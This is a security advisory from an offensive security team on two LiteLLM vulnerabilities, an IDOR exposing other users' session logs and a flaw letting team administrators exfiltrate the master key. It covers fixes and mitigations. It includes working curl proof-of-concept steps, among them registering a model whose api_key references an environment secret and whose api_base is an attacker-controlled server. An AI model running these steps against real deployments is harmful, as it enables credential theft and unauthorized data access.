An investigation into two vulnerabilities that expose session logs and enable unauthorized access to credentials through authorization flaws.
The Yokai Research team at Hakai Offensive Security identified two security vulnerabilities in LiteLLM, an open-source solution used to route requests to different artificial intelligence (AI) models.
The vulnerabilities, tracked as CVE-2026-108574 and CVE-2026-108575, involve access control issues that can compromise the confidentiality of information. The first concerns unauthorized access to session logs, while the second involves the protection of internal credentials.
Technical Analysis
The vulnerabilities are tracked as CVE-2026-108574 and CVE-2026-108575 and affect LiteLLM. The first involves an Insecure Direct Object Reference (IDOR) vulnerability that may allow unauthorized access to spend logs from other sessions. The second involves an authorization flaw that may allow unauthorized access to sensitive information, including API keys and credentials. The vulnerabilities affect versions up to 1.95.0 and 1.94.0, respectively, and have CVSS scores of 4.3 and 6.3.
Getting to Know LiteLLM
LiteLLM is an open-source tool that allows different artificial intelligence models to be integrated through a unified API. It simplifies the management of requests, API keys, costs, and access to models from different providers by centralizing these operations within a single infrastructure.

For more information, visit the official LiteLLM documentation.
Technical Analysis of the Source Code
CVE-2026-108574: One Session, Another User's Data
When analyzing the source code, we can see that session_id is received as a parameter and used by the Prisma ORM to query the corresponding records in the logs table. The query uses this identifier as its sole filtering criterion and returns the matching results. The problem lies in the absence of an additional validation check to verify whether the authenticated user is authorized to access that session's records, allowing one user to retrieve data belonging to another.
Commit: litellm/proxy/spend_tracking/spend_management_endpoints.py

CVE-2026-108575: From Team Administrator to Secret Exposure
When analyzing the first commit, we identified changes to the authorization mechanism that allow team administrators to add and update models. Although privilege checks are in place, the validation does not adequately restrict the configuration parameters these users can provide. As a result, a team administrator can configure models using parameters under their control, creating the first condition required for exploitation.
Commit: litellm/proxy/management_endpoints/model_management_endpoints.py

The first commit explains how a team administrator can configure models, but it does not, by itself, demonstrate how secrets are exposed. To understand this step, we need to examine a second commit, which changed how environment variable references are resolved in models stored in the database.
When analyzing the second commit, we identified a change to the mechanism used to resolve parameters in models stored in the database. This change allows environment variable references in the os.environ format to be resolved while processing these parameters, using the get_secret() function to retrieve the corresponding value.
The problem is that this behavior may allow a team administrator to reference secrets from the server's environment, such as LITELLM_MASTER_KEY, in a model's parameters. When combined with the ability to configure an external destination for requests, this mechanism can lead to the exfiltration of sensitive credentials through the Authorization header of requests sent by LiteLLM.
Commit: litellm/proxy/proxy_server.py

Exploitation
Exploiting CVE-2026-108574: Unauthorized Access to Session Logs
To demonstrate the vulnerability, we created two users in the application, named Alice and Bob, and obtained their respective user_id values. We then defined a session identifier (SID) associated with Alice and sent a request to the /v1/chat/completions endpoint, including this identifier in the interaction with the model.
With the session created, we used the endpoint GET /spend/logs/session/ui?session_id to retrieve the session logs. The request allowed us to access information belonging to another user without proper authorization checks to verify whether access to that session was permitted. Among the exposed data, we were able to retrieve information associated with the user's api_key, demonstrating the impact of the access control flaw.
ALICE=$(curl -s http://127.0.0.1:4000/key/generate \
-H "Authorization: Bearer sk-1234" -H "Content-Type: application/json" \
-d "{\"user_id\":\"$AID\",\"models\":[\"mock-gpt\"]}" | jq -r '.key')
BOB=$(curl -s http://127.0.0.1:4000/key/generate \
-H "Authorization: Bearer sk-1234" -H "Content-Type: application/json" \
-d "{\"user_id\":\"$BID\",\"models\":[\"mock-gpt\"]}" | jq -r '.key')
SID="alice-secret-session-1"
curl -s http://127.0.0.1:4000/v1/chat/completions \
-H "Authorization: Bearer $ALICE" -H "Content-Type: application/json" \
-d "{\"model\":\"mock-gpt\",\"messages\":[{\"role\":\"user\",\"content\":\"alice private\"}],\"litellm_session_id\":\"$SID\"}" | jq
curl -s "http://127.0.0.1:4000/spend/logs/session/ui?session_id=$SID" \\n -H "Authorization: Bearer $BOB" | jq

The Yokai Research team at Hakai Offensive Security also developed an exploit to automate the exploitation of this vulnerability, making it easier to reproduce the scenario identified during the technical analysis.
Exploiting CVE-2026-108575: Credential Protection and Authorization Flaws
First, we define the variables required to run the proof of concept. The TID variable stores the ID of the team to which the model will be associated, while KEY contains the authentication key used to send requests to the LiteLLM API. The SECRET variable specifies the name of the environment variable we intend to access, in this case, LITELLM_MASTER_KEY. Finally, COLL specifies the address of the server controlled by the attacker to receive the requests, and MN generates a unique name for the PoC.
B=http://127.0.0.1:4000
TID='TARGET-TID'
KEY='KEY'
SECRET=EXFILTRATION-KEY
COLL='http://172.21.0.1:8082'
MN="poc-$(date +%s)"With the variables defined, we send a POST request to the /model/new endpoint to register a new model in LiteLLM. In the request body, we configure the openai/gpt-4 model, set the API key to the os.environ/LITELLM_MASTER_KEY reference, and specify the external address that will receive the requests. The team_id field associates the model with the previously identified team.
curl -s -o /dev/null -w 'new=%{http_code}\n' \
$B/model/new \
-H "Authorization: Bearer $KEY" \
-H 'Content-Type: application/json' \
-d "{
\"model_name\":\"$MN\",
\"litellm_params\":{
\"model\":\"openai/gpt-4\",
\"api_key\":\"os.environ/$SECRET\",
\"api_base\":\"$COLL\"
},
\"model_info\":{\"team_id\":\"$TID\"}
}"The server's 200 response indicates that the model registration request was accepted. This confirms that the model was registered, but it does not yet prove that the secret was exfiltrated.
Model Invocation
Next, we send a request to the /v1/chat/completions endpoint to invoke the newly registered model.
The invoke=500 response indicates that the call failed, but it does not mean that data exfiltration did not occur. To confirm, check the logs of the attacker-controlled server and verify whether the received request contains the expected secret in the Authorization header.
curl -s -o /dev/null -w 'invoke=%{http_code}\n' \
$B/v1/chat/completions \
-H "Authorization: Bearer $KEY" \
-H 'Content-Type: application/json' \
-d "{\"model\":\"$MN\",\"messages\":[{\"role\":\"user\",\"content\":\"x\"}]}"
The Yokai Research team developed an exploit to automate the exploitation of CVE-2026-108575, available on the Hakai Security GitHub repository.

Impact
CVE-2026-108574: IDOR: Exposure of Other Users' Session Logs
This vulnerability allows an authenticated user with limited privileges to access spend logs associated with another user's session by manipulating the session_id parameter in the GET /spend/logs/session/ui endpoint. The exposed information may include user, team, and organization identifiers, models used, spending amounts, IP addresses, and data associated with the api_key. This compromises data confidentiality and user isolation.
CVE-2026-108575: Credential Exposure Through an Authorization Flaw
This vulnerability may allow a team administrator to abuse environment variable resolution in model parameters to expose server secrets. By configuring a model to send requests to an external destination, sensitive credentials may be transmitted in the Authorization header. Potential impacts include compromise of the LiteLLM master key, unauthorized administrative access to the proxy, and exposure of other credentials stored in the environment, depending on the installation's configuration.
Exploitation depends on specific conditions, including a valid Enterprise license, STORE_MODEL_IN_DB=True, and connectivity to the external destination.
Fixes and Disclosure Status
CVE-2026-108574: IDOR in Session Logs
The fix was implemented in commit 722d9ffa4f6c5ae15702ab9ab2c5f6bf1688308b, released in LiteLLM version 1.96.0. Upgrading to this version or later is recommended to address the authorization flaw affecting access to session spend logs.
CVE-2026-108575: Credential Exposure and Authorization Flaw
The vendor was contacted through multiple channels to report the credential leakage and request information about potential fixes. However, no response has been received so far.
Therefore, the issue remains without a confirmed official fix.
As a mitigation measure, it is recommended to restrict template creation and editing to team administrators, review access permissions for credentials, and rotate affected secrets if there are any indications of compromise.
Recommendations
It is recommended to restrict team administrators' permissions to create and update models, preventing users without appropriate administrative privileges from accessing server environment secrets. The resolution of references such as os.environ/ should be limited to explicitly authorized variables to prevent the exposure of sensitive credentials, such as the LiteLLM master key.
It is also important to validate the external destinations configured for models, preventing credentials from being sent to unauthorized servers. Additionally, access permissions should be reviewed, suspicious requests monitored, and potentially exposed credentials rotated.
Since no response was received from the vendor and the implementation of an official fix could not be confirmed, these measures should be considered mitigations until a definitive solution becomes available.
Ready to Put Your Skills to the Test? Meet Kayros!
After exploring vulnerabilities such as IDOR, authorization flaws, and credential exposure, it's time to put your knowledge to the test. At Hacking Club, the Kayros machine offers an opportunity to strengthen your offensive security skills and develop your technical problem-solving abilities in a lab environment.
Theory helps you understand vulnerabilities. Practice teaches you how to find them.